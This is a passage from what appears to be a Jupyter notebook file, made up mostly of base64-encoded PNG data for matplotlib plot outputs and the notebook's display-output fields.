ZKU\nB5K8lW8CsAJYCCwGHgYOINtrCuBR4AjgEGBJjDETY/wjUBZCqEiwrSRJkiRJkvJAkrfyfQr4DHAs\nsBuwCCiNMWZy89cAA4EBwPv1lqudXpJQ28qmAh48uA9lZT3atpU5FRX927WcupZ5yk8dyYs5LXzm\nsPiY0/zR3lyYw+JjTouPOS0O5rH4mNO2S7Iw9T7waoxxIxBDCOvJ3s5Xqz/wIVCde9xwek1CbZtU\nVbWuxY1qTEVFfyor17RrWXUd85Rf6ndfbG9ezGnhM4fFx5ymr6PnV3NYfMxp8TGnxcE8Fh9z2rTm\nCnZJ3sr3BHBkCKEkhDAU6Av8Ojf2FMBRwOPAk8CEEEJpCGEY2V5V7wEvJNRWkiRJkiRJeSCxHlMx\nxodDCF8EniFbAJsGvAncFkLoBbwCPBBj3BJCeBxYWq8dwLcSaitJkiRJkqQ8UJLJZFpu1U1UVq5p\n186wu15hME/5pWLIgLrHlaur27cOc1rwzGHxMafp6+j51RwWH3NafMxpcTCPxcecNq2ion9JU/OS\nvJVPkiRJkiRJapKFKUmSJEmSJKXCwpQkSZIkSZJSYWFKkiRJkiRJqbAwJUmSJEmSpFSUpR2AJEmS\nJKWtM34xWJLUdvaYkiRJkiRJUiosTEmSJEmSJCkVFqYkSZIkSZKUCgtTkiRJkiRJSoWFKUmSJEmS\nJKXCwpQkSZIkSZJSYWFKkiRJkiRJqbAwJUmSJEmSpFRYmJIkSZIkSVIqLExJkiRJkiQpFRamJEmS\nJEmSlAoLU5IkSZIkSUqFhSlJkiRJkiSlwsKUJEmSJEmSUmFhSpIkSZIkSamwMCVJkiRJkqRUWJiS\nJEmSJElSKixMSZIkSZIkKRUWpiRJkiRJkpQKC1OSJEmSJElKhYUpSZIkSZIkpcLClCRJkiRJklJh\nYUqSJEmSJEmpsDAlSZIkSZKkVFiYkiRJkiRJUirKklx5COEF4K+5f98EbgFuADYDS2KMs0IIpcB8\nYBSwATgrxvh6CGFsEm2T3F5JkiRJkiS1XmKFqRBCb4AY47h6014ETgL+F/iPEML+wK5A7xjjQbkC\n03XA8cDNCbWVJEmSJElSHkjyVr5RQJ8QwpIQwn+FEL4IlMcY34gxZoDHgMOBQ4BfAsQYlwEHhhAG\nJNE2wW2VJEmSJElSGyVZmFoHXAtMAM4F7spNq7UGGAgM4JPb/QC25KZVd3bbEEKity5KkiRJbP2T\nqgAAIABJREFUkiSp9ZIs1PwBeD3Xi+kPIYS/AtvXm98f+BDok3tcq5Rsoal/Z7eNMW5uLuDBg/tQ\nVtaj5S1rREVF/5YbKXXmKT91JC/mtPCZw+JjTvNHe3NhDouPOW2bQthfhRCjWmYei485bbskC1Nf\nB0YC54UQhpItFK0NIexBdiyoCcAsYGdgIvCz3FhQK2KM1SGEjZ3dtqWAq6rWtdSkURUV/amsXNOu\nZdV1zFN+qaj3uL15MaeFzxwWH3Oavo6eX81h8TGnrdMZ1yZdxZwWB/NYfMxp05or2CVZmLoDuDuE\n8ASQIVuoqgHuA3qQ/fW8p0MIvwO+HEJ4CigBzsgtf25CbSVJkiRJkpQHEitMxRg3Al9tZNbYBu1q\nyBaWGi6/LIm2kiRJkiRJyg9JDn4uSZIkSZIkNcnClCRJkiRJklJhYUqSJEmSJEmpsDAlSZIkSZKk\nVFiYkiRJkiRJUiosTEmSJEmSJCkVFqYkSZIkSZKUirK0A5AkSVL7VQwZUPe4cnV1ipFIkiS1nT2m\nJEmSJEmSlAoLU5IkSZIkSUqFhSlJkiRJkiSlwsKUJEmSJEmSUmFhSpIkSZIkSamwMCVJkiRJkqRU\nWJiSJEmSJElSKixMSZIkSZIkKRUWpiRJkiRJkpQKC1OSJEmSJElKhYUpSZIkSZIkpcLClCRJkiRJ\nklJhYUqSJEmSJEmpsDAlSZIkSZKkVFiYkiRJkiRJUiosTEmSJEmSJCkVFqYkSZIkSZKUCgtTkiRJ\nkiRJSoWFKUmSJEmSJKXCwpQkSZIkSZJSUZZ2AJIkSZIkJW3I/AF1j1efV51iJJLqa3WPqRDC4CQD\nkSRJkiRJUvfSYo+pEMLngZ8CfUIIBwG/Bf4+xvh80sFJkiRJkiSpeLWmx9SPgROA92OM7wBTgZsT\njUqSJEmSJElFrzVjTPWJMb4SQgAgxvirEMK1rVl5CGEI8BzwZWAzcDeQAVYC02KMNSGEmcAxufnn\nxxifCSEMT6Jta2KWJEmSJElS12hNj6kPQgijyBZ+CCH8I/BBSwuFEHoCtwAf5ybNAS6LMR4KlADH\nhxD2Bw4DxgCnAPMSbitJkiRJkqQ80ZrC1FSyhZ0RIYQPgfOBc1ux3LVkb/l7N/f/AWTHpwJ4FDgC\nOARYEmPMxBj/CJSFECoSbCtJkiRJkqQ80eKtfDHGN4BDQgh9gR4xxhZ/VzOE8E9AZYzxsRDCJbnJ\n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\n8T/CFQAD3m9qIwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c207cd898>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABLIAAALKCAYAAAAmvXhvAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3X98XHd95/u3NLJkW5ZjyVZJ6h+RpSjftFFMQJsHCK+D\nKS2JXe/eNLu9+cGPtNjXabdhoQ9yA9tCAxTaUNJ7t0tK1752CstiYGkhpa4J3Ka2cVMXer2wilL4\nRkhW/KOkdTwStvxDss/o/qE54zOjkebXmTk/5vV8PPzwaDRz5qv5zo9z3uf7/XwbZmZmBAAAAAAA\nAIRdY9ANAAAAAAAAAIpBkAUAAAAAAIBIIMgCAAAAAABAJBBkAQAAAAAAIBIIsgAAAAAAABAJBFkA\nAAAAAACIhKagGwAAAIBZxphfkfQnku6w1g55rt8v6c+stZ9N//w6Sb8r6RZJk+l/T1prn8nZ3m2S\nBiV90Fr7Sc/1myU9Za3ty7n9ZyUNWWuf9PtvAwAA8AMjsgAAAMKlQdIXjTGL8/3SGHOHpL+U9CfW\n2pustbdL2iHp48aYh3Nu/h8kfUHSI8YYTmACAIDII8gCAACoEmPMZmPMUO7PxphbjDHPG2OOGWP+\npzHmP3ju9pykVyTNNyrq45I+Ya39K/cKa+0PJb1T0u8bY1rSj9Um6e2SPiHpJ5L+va9/HAAAQAAI\nsgAAAGrv/5T0l9bafklbJd1pjHH3y2YkvUvS/26M2Zbnvm+S9O3cK62130vf92fTV71T0kvW2h9I\n+pyk38y5S48x5vvef5L+baV/GAAAQDURZAEAANTe1yQ9Zoz5qqR7Jf1Ha23K/aW19seStkt62hhz\nfZ77L5pnu82aDbMk6dc0G2BJ0n+X1G+MGfDcdsRae7v3n6Svl/8nAQAAVB9BFgAAQPXMaLbmlatZ\nkqy1+yX1Svofkl4n6QVjzBrvHa21fynpK5L+W842npe0OfeB0rWzrkj6oTFmk6Q+zYZlY5KOSprW\n3FFZAAAAkUKQBQAAUD1nJK0zxvyUMaZB0v2SZIzZJ+k+a+2XNFuQ/Zyknjz3f7+kn5b0Vs91/0nS\nB4wxW90rjDE/I+mzkj5srb0s6dclfd5au9Za22Wt7ZK0TdK9xph1Pv+NAAAANUOQBQAAUCXW2n+U\ntEvS/yfp7yUdT//qdyW93RjzvyR9R7NTDfPVvbos6QFdmy7o1sJ6m6SdxhhrjPlHSXskPW6t/WNj\nTKdmpyt+Kmdbf6PZkVnv8fWPBAAAqKGGmZmZwrcCAAAAAAAAAsaILAAAAAAAAEQCQRYAAAAAAAAi\ngSALAAAAAAAAkUCQBQAAAAAAgEggyAIAAAAAAEAkNAXdgDA5c+Z8SUs4trcv1fj4xWo1Bzl4vsOJ\nfgkP+iKc6JdwoB/CiX4JJ/olPOiL8KFPwoO+CKf5+qWzs63Br8dgRFYFmpoSQTehrvB8hxP9Eh70\nRTjRL+FAP4QT/RJO9Et40BfhQ5+EB30RTrXol1iMyDLGLJL0tKQuSS2SPi7p7yX9P5LaJSUkvcta\nOxJUGwEAAAAAAFCZuIzIeoeks9baTZK2SHpK0h9I+oK19k5JH5J0S4DtAwAAAAAAQIViMSJL0lck\n/Znn56uSNkoaNMb8taQxSe8NoF0AAAAAAADwSSxGZFlrJ621540xbZoNtD6k2WmG49ban5d0QtIH\nAmwiAAAAAAAAKtQwM1PSQn2hZYxZK+lrkj5jrX3aGPOKpFuttWeNMa+T9Alr7daFtnH1qjNDwTgA\nAAAAAABf+bZqYSymFhpjXiPpW5IesdY+l776byVtlfR5SXdKerHQdkpdurOzs01nzpwvrbEoG893\nONEv4UFfhBP9Eg70QzjRL+FEv4QHfRE+9El40BfhNF+/dHa2+fYYsQiyJP2WZlcn/LAx5sPp6x6S\ntMcY8+uSfiLpwaAaBwAAAAAAgMrFIsiy1r5X+Yu5/0Kt2wIAA